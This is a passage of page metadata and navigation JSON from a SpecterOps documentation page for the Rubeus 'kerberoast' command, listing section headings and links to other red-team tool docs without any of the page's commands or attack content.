Variations","slug":"syntax-variations","depth":2,"children":[]},{"title":"Targeting Parameters","slug":"targeting-parameters","depth":2,"children":[]},{"title":"Response Format","slug":"response-format","depth":2,"children":[]},{"title":"Hash Format Examples","slug":"hash-format-examples","depth":2,"children":[]},{"title":"Complete Attack Workflow","slug":"complete-attack-workflow","depth":2,"children":[]},{"title":"Advanced Targeting Strategies","slug":"advanced-targeting-strategies","depth":2,"children":[]},{"title":"OPSEC Considerations","slug":"opsec-considerations","depth":2,"children":[]},{"title":"Troubleshooting","slug":"troubleshooting","depth":2,"children":[]},{"title":"Integration with Other Tools","slug":"integration-with-other-tools","depth":2,"children":[]},{"title":"Related Commands","slug":"related-commands","depth":2,"children":[]}],"codeExamples":{}},"jsLinks":[],"subdomain":"specteropsdocs","siteName":"SpecterOps Open Source","title":"kerberoast - SpecterOps Open Source","contextualStarterQuestions":[],"navMaps":{"firstHrefInVersion":{"Home":{"href":"/","matchLevel":4},"Mythic":{"href":"/mythic-docs/home","matchLevel":4},"Ghostwriter":{"href":"/ghostwriter-docs/home","matchLevel":4},"SharpSCCM":{"href":"/sharpsccm-docs/overview","matchLevel":4},"SCCMHunter":{"href":"/sccmhunter-docs/overview","matchLevel":4},"Misconfiguration Manager":{"href":"/misconfiguration-manager-docs/README","matchLevel":4},"Nemesis":{"href":"/nemesis-docs/docs","matchLevel":4},"GhostPack":{"href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast","matchLevel":0},"AtlasReaper":{"href":"/atlasreaper-docs/overview","matchLevel":4},"Phisherman's Tacklebox":{"href":"/cuddlephish-docs/overview","matchLevel":4},"Merlin":{"href":"/merlin-docs/introduction","matchLevel":4},"Mythic Agents":{"href":"/mythic-agents","matchLevel":4},"Mythic Agent: Apollo":{"href":"/mythic-agents/apollo-docs/documentation-payload/apollo/_index","matchLevel":4},"Mythic Agent: Poseidon":{"href":"/mythic-agents/poseidon-docs/home","matchLevel":4},"Mythic Agent: Apfell":{"href":"/mythic-agents/apfell-docs/home","matchLevel":4},"Mythic Agent: Arachne":{"href":"/mythic-agents/arachne-docs/home","matchLevel":4},"Mythic Agent: Bloodhound":{"href":"/mythic-agents/bloodhound-agent-docs/home","matchLevel":4},"Mythic Agent: Nemesis":{"href":"/mythic-agents/nemesis-agent-docs/home","matchLevel":4},"Mythic Agent: Ghostwriter":{"href":"/mythic-agents/ghostwriter-agent-docs/home","matchLevel":4},"Mythic Agent: Sage":{"href":"/mythic-agents/sage-docs/home","matchLevel":4},"Mythic Agent: Forge":{"href":"/mythic-agents/forge-docs/home","matchLevel":4},"Mythic Agent: Merlin":{"href":"/mythic-agents/merlin-agent-docs/home","matchLevel":4}},"firstHrefInLanguage":{}},"originalFileLocation":"ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast.mdx"},"headHtml":"\u003cscript data-mint-head>(function(){var d=document.documentElement,p=null;if(!p){try{p=localStorage.getItem(\"isDarkMode\")}catch(e){}if(p==='true')p='dark';else if(p==='false')p='light';if(p!=='light'\u0026\u0026p!=='dark'\u0026\u0026p!=='system')p=\"dark\"}var r=p==='system'?(matchMedia(\"(prefers-color-scheme: dark)\").matches?'dark':'light'):p;d.classList.remove(r==='dark'?'light':'dark');d.classList.add(r);d.setAttribute(\"data-theme-preference\",p)})();\u003c/script>\u003cmeta data-mint-head name=\"description\" content=\"Perform Kerberoasting attacks to extract service account credentials\">\u003cmeta data-mint-head name=\"application-name\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"kerberoast - SpecterOps Open Source\">\u003cmeta data-mint-head property=\"og:description\" content=\"Perform Kerberoasting attacks to extract service account credentials\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\">\u003cmeta data-mint-head property=\"og:type\" content=\"website\">\u003cmeta data-mint-head property=\"og:image\" content=\"https://specteropsdocs.mintlify.site/_mintlify/api/og/v2?division=Credential+Attacks\u0026amp;title=kerberoast\u0026amp;description=Perform+Kerberoasting+attacks+to+extract+service+account+credentials\u0026amp;theme=2f89e571138c7739835777ca\u0026amp;signature=3484d6dac8b27d1a1e946fd5dc7088d768204a38ba3a53ad70c982bffb69054c\">\u003cmeta data-mint-head property=\"og:image:width\" content=\"1200\">\u003cmeta data-mint-head property=\"og:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"kerberoast - SpecterOps Open Source\">\u003cmeta data-mint-head name=\"twitter:description\" content=\"Perform Kerberoasting attacks to extract service account credentials\">\u003cmeta data-mint-head name=\"twitter:image\" content=\"https://specteropsdocs.mintlify.site/_mintlify/api/og/v2?division=Credential+Attacks\u0026amp;title=kerberoast\u0026amp;description=Perform+Kerberoasting+attacks+to+extract+service+account+credentials\u0026amp;theme=2f89e571138c7739835777ca\u0026amp;signature=3484d6dac8b27d1a1e946fd5dc7088d768204a38ba3a53ad70c982bffb69054c\">\u003cmeta data-mint-head name=\"twitter:image:width\" content=\"1200\">\u003cmeta data-mint-head name=\"twitter:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/specteropsdocs/U_J_JcUXDT3Kya4Z/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"SpecterOps Open Source\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#2c2677\">\u003clink data-mint-head rel=\"canonical\" href=\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://docs.specterops.io/#organization\",\"name\":\"SpecterOps Open Source\",\"url\":\"https://docs.specterops.io\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/logo/light.svg?fit=max\u0026auto=format\u0026n=k1yx6gbUDEwWUifq\u0026q=85\u0026s=c7134dc672345b82c85209dadeb0e8ba\"}},{\"@type\":\"WebSite\",\"@id\":\"https://docs.specterops.io#website\",\"name\":\"SpecterOps Open Source\",\"url\":\"https://docs.specterops.io\",\"publisher\":{\"@id\":\"https://docs.specterops.io/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast#webpage\",\"url\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\",\"name\":\"kerberoast\",\"description\":\"Perform Kerberoasting attacks to extract service account credentials\",\"isPartOf\":{\"@id\":\"https://docs.specterops.io#website\"},\"breadcrumb\":{\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"SpecterOps Open Source\",\"item\":\"https://docs.specterops.io\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"kerberoast\",\"item\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast#article\",\"headline\":\"kerberoast\",\"name\":\"kerberoast\",\"description\":\"Perform Kerberoasting attacks to extract service account credentials\",\"url\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast\",\"mainEntityOfPage\":{\"@id\":\"https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast#webpage\"},\"publisher\":{\"@id\":\"https://docs.specterops.io/#organization\"},\"isPartOf\":{\"@id\":\"https://docs.specterops.io#website\"}}]}\u003c/script>\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"WebSite\",\"name\":\"SpecterOps Open Source\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"SpecterOps Open Source\"},\"provider\":{\"@type\":\"Organization\",\"name\":\"Mintlify\",\"url\":\"https://mintlify.com\"}}\u003c/script>","agentPointerHref":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast.md","siteName":"SpecterOps Open Source","nav":{"global":null,"versions":[{"version":"Home","pages":[{"title":"Home","href":"/"}]},{"version":"Mythic","pages":[{"title":"Mythic","href":"/mythic-docs/home"}]},{"version":"Ghostwriter","pages":[{"title":"Ghostwriter","href":"/ghostwriter-docs/home"}]},{"version":"SharpSCCM","pages":[{"title":"SharpSCCM","href":"/sharpsccm-docs/overview"}]},{"version":"SCCMHunter","pages":[{"title":"SCCMHunter","href":"/sccmhunter-docs/overview"}]},{"version":"Misconfiguration Manager","pages":[{"title":"Misconfiguration Manager","href":"/misconfiguration-manager-docs/README"}]},{"version":"Nemesis","pages":[{"title":"Nemesis","href":"/nemesis-docs/docs"}]},{"version":"GhostPack","tabs":[{"tab":"Overview","icon":"ghost","pages":[{"title":"Overview","href":"/ghostpack-docs"}]},{"tab":"Certify","icon":"certificate","pages":[{"title":"Certify","href":"/ghostpack-docs/Certify.wik-mdx/overview"}]},{"tab":"Rubeus","icon":"ticket","groups":[{"group":"Getting Started","pages":[{"title":"Rubeus Overview","icon":"ticket","href":"/ghostpack-docs/Rubeus-mdx/overview"},{"title":"Compilation Instructions","icon":"hammer","href":"/ghostpack-docs/Rubeus-mdx/resources/compilation"}]},{"group":"Ticket Operations","pages":[{"group":"Ticket Requests","pages":[{"title":"asktgt","icon":"ticket","sidebarTitle":"asktgt","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgt"},{"title":"asktgs","icon":"server","sidebarTitle":"asktgs","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgs"},{"title":"renew","icon":"arrows-rotate","sidebarTitle":"renew","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/renew"},{"title":"brute","icon":"hammer","sidebarTitle":"brute","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/brute"},{"title":"preauthscan","icon":"radar","sidebarTitle":"preauthscan","href":"/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/preauthscan"}]},{"group":"Ticket Management","pages":[{"title":"ptt","icon":"arrow-right-to-bracket","sidebarTitle":"ptt","href":"/ghostpack-docs/Rubeus-mdx/commands/management/ptt"},{"title":"purge","icon":"trash","sidebarTitle":"purge","href":"/ghostpack-docs/Rubeus-mdx/commands/management/purge"},{"title":"describe","icon":"magnifying-glass","sidebarTitle":"describe","href":"/ghostpack-docs/Rubeus-mdx/commands/management/describe"}]},{"group":"Ticket Extraction","pages":[{"title":"triage","icon":"list-check","sidebarTitle":"triage","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/triage"},{"title":"klist","icon":"list","sidebarTitle":"klist","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/klist"},{"title":"dump","icon":"download","sidebarTitle":"dump","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/dump"},{"title":"tgtdeleg","icon":"share","sidebarTitle":"tgtdeleg","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/tgtdeleg"},{"title":"monitor","icon":"eye","sidebarTitle":"monitor","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/monitor"},{"title":"harvest","description":"Continuously harvest TGTs from 4624 logon events","icon":"scissors","sidebarTitle":"harvest","href":"/ghostpack-docs/Rubeus-mdx/commands/extraction/harvest"}]}]},{"group":"Attack Techniques","pages":[{"group":"Credential Attacks","pages":[{"title":"kerberoast","icon":"fire","sidebarTitle":"kerberoast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast"},{"title":"asreproast","description":"Extract password hashes from accounts without Kerberos pre-authentication","icon":"fire","sidebarTitle":"asreproast","href":"/ghostpack-docs/Rubeus-mdx/commands/roasting/asreproast"}]},{"group":"Delegation Abuse","pages":[{"title":"s4u","icon":"arrows-alt","sidebarTitle":"s4u","href":"/ghostpack-docs/Rubeus-mdx/commands/delegation/s4u"}]},{"group":"Ticket Forgery","pages":[{"title":"golden","icon":"crown","sidebarTitle":"golden","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/golden"},{"title":"silver","icon":"medal","sidebarTitle":"silver","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/silver"},{"title":"diamond","icon":"gem","sidebarTitle":"diamond","href":"/ghostpack-docs/Rubeus-mdx/commands/forgery/diamond"}]}]},{"group":"Miscellaneous","pages":[{"title":"createnetonly","icon":"network-wired","sidebarTitle":"createnetonly","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/createnetonly"},{"title":"changepw","icon":"key","sidebarTitle":"changepw","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/changepw"},{"title":"hash","icon":"hashtag","sidebarTitle":"hash","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/hash"},{"title":"tgssub","icon":"repeat","sidebarTitle":"tgssub","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/tgssub"},{"title":"currentluid","icon":"id-card","sidebarTitle":"currentluid","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/currentluid"},{"title":"logonsession","icon":"users","sidebarTitle":"logonsession","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/logonsession"},{"title":"asrep2kirbi","icon":"arrows-turn-right","sidebarTitle":"asrep2kirbi","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/asrep2kirbi"},{"title":"kirbi","icon":"arrow-right-arrow-left","sidebarTitle":"kirbi","href":"/ghostpack-docs/Rubeus-mdx/commands/miscellaneous/kirbi"}]}]},{"tab":"SharpDPAPI","icon":"key","pages":[{"title":"SharpDPAPI","href":"/ghostpack-docs/SharpDPAPI-mdx/overview"}]},{"tab":"SharpUp","icon":"arrow-up","pages":[{"title":"SharpUp","href":"/ghostpack-docs/SharpUp-mdx/overview"}]},{"tab":"SharpWMI","icon":"network-wired","pages":[{"title":"SharpWMI","href":"/ghostpack-docs/SharpWMI-mdx/overview"}]},{"tab":"Seatbelt","icon":"list-check","pages":[{"title":"Seatbelt","href":"/ghostpack-docs/Seatbelt-mdx/overview"}]}]},{"version":"AtlasReaper","pages":[{"title":"AtlasReaper","href":"/atlasreaper-docs/overview"}]},{"version":"Phisherman's Tacklebox","pages":[{"title":"Phisherman's Tacklebox","href":"/cuddlephish-docs/overview"}]},{"version":"Merlin","pages":[{"title":"Merlin","href":"/merlin-docs/introduction"}]},{"version":"Mythic Agents","pages":[{"title":"Mythic Agents","href":"/mythic-agents"}]},{"version":"Mythic Agent: Apollo","pages":[{"title":"Mythic Agent: Apollo","href":"/mythic-agents/apollo-docs/documentation-payload/apollo/_index"}]},{"version":"Mythic Agent: Poseidon","pages":[{"title":"Mythic Agent: Poseidon","href":"/mythic-agents/poseidon-docs/home"}]},{"version":"Mythic Agent: Apfell","pages":[{"title":"Mythic Agent: Apfell","href":"/mythic-agents/apfell-docs/home"}]},{"version":"Mythic Agent: Arachne","pages":[{"title":"Mythic Agent: Arachne","href":"/mythic-agents/arachne-docs/home"}]},{"version":"Mythic Agent: Bloodhound","pages":[{"title":"Mythic Agent: Bloodhound","href":"/mythic-agents/bloodhound-agent-docs/home"}]},{"version":"Mythic Agent: Nemesis","pages":[{"title":"Mythic Agent: Nemesis","href":"/mythic-agents/nemesis-agent-docs/home"}]},{"version":"Mythic Agent: Ghostwriter","pages":[{"title":"Mythic Agent: Ghostwriter","href":"/mythic-agents/ghostwriter-agent-docs/home"}]},{"version":"Mythic Agent: Sage","pages":[{"title":"Mythic Agent: Sage","href":"/mythic-agents/sage-docs/home"}]},{"version":"Mythic Agent: Forge","pages":[{"title":"Mythic Agent: Forge","href":"/mythic-agents/forge-docs/home"}]},{"version":"Mythic Agent: Merlin","pages":[{"title":"Mythic Agent: Merlin","href":"/mythic-agents/merlin-agent-docs/home"}]}]},"basePath":"","title":"kerberoast - SpecterOps Open Source","deploymentId":"dpl_4dgnk6TA5fUgboKHTvWWyeqm3idh","buildId":"dpl_4dgnk6TA5fUgboKHTvWWyeqm3idh","dynamics":["07c022d89b","a74be98ba7"],"chunks":["Frame-BhbIEdST.js","DynamicMarkdown-DoPsKgYC.js","zoom-image-lightbox-D-vTqM_C.js","lightbox-handle-r17bVUz3.js"]}